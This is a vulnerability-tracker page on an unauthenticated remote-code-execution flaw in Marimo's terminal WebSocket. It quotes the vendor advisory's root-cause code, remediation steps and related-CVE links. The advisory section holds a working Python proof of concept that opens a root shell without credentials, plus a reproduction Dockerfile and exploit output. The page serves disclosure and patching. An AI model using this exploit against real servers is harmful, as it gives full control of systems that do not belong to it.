Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessConnect to /terminal/ws WebSocket endpoint
-
ExploitBypass missing authentication validation
-
ExecutionObtain interactive PTY shell
-
ImpactExecute arbitrary system commands
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication required for critical functions
MITRE ATT&CK
1 technique across 1 tactic: Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Marimo versions ≤0.20.4 by connecting to the unprotected |
| Impact | Unauthenticated pre-auth RCE on terminal WebSocket endpoint enables arbitrary command execution as root in default Docker deployments. Attack vector is network/unauthenticated with low complexity; no user interaction required. Patch available from vendor. Criticality stems from complete system compromise via single WebSocket connection, regardless of server-level authentication configuration. |
| Exploit ScenarioDerived | Attacker connects to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 09, 2026
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the /terminal/ws WebSocket endpoint. The terminal handler skips authentication validation entirely, accepting connections without credential checks and spawning PTY shells directly. Attackers obtain full interactive shell access as root in default Docker deployments through a single WebSocket connection, bypassing Marimo's authentication middleware. No public exploit identified at time of analysis.
RemediationAI
Vendor-released patch: Marimo 0.20.5 or later. Apply GitHub commit c24d4806398f30be6b12acd6c60d1d7c68cfd12a which adds WebSocketConnectionValidator.validate_auth() to the terminal endpoint, matching authentication enforcement in other WebSocket routes. Upgrade immediately via pip install --upgrade marimo. Workaround for unpatched systems: Disable terminal functionality by restricting edit mode access, implement network-level access controls to block unauthenticated WebSocket connections to port 2718, or run Marimo instances behind authenticated reverse proxies. Restrict container privileges and avoid root execution contexts. Official advisory and patch details: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc and https://github.com/marimo-team/marimo/pull/9098
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The /terminal/ws WebSocket route in terminal.py lacks validate_auth() calls present in other endpoints like /ws. Starlette's AuthenticationMiddleware marks unauthenticated users but does not reject WebSocket connections without endpoint-level @requires() decorators or explicit validation. The handler immediately calls pty.fork() after verifying edit mode and platform support, spawning shell processes for unauthenticated clients.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept()
# Accepts connection directly
# ...
child_pid, fd = pty.fork()
# Creates PTY shellCompare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
# Correct auth check
returnAuthentication Middleware Limitation
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
Attack Chain
- WebSocket connect to
ws://TARGET:2718/terminal/ws(no auth needed) websocket.accept()accepts the connection directlypty.fork()creates a PTY child process- Full interactive shell with arbitrary command execution
- Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())
# uid=0(root) gid=0(root) groups=0(root)
ws.close()Reproduction Environment
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]Reproduction Result
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate_auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
Articles & Coverage 2
Executive ViewAI
Marimo versions 0.20.4 and earlier contain a critical authentication bypass in the WebSocket terminal endpoint that allows unauthenticated attackers to execute arbitrary commands with root privileges. Organizations running Marimo in production, particularly in containerized environments, face immediate risk of complete system compromise without credential validation. Immediate patching is required to prevent unauthorized access to underlying infrastructure.
Apply vendor patch. If immediate patching is not feasible: implement network-level access controls to restrict inbound connections to the WebSocket endpoint; deploy a reverse proxy with authentication enforcement ahead of Marimo; isolate affected Marimo instances to internal networks only; disable WebSocket terminal functionality if not operationally required.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
EUVD-2026-20980
GHSA-2679-6mx9-h9xc
NVD
CVE.org
CISA KEV
EPSS
Vulnrichment
Exploit-DB
VulDB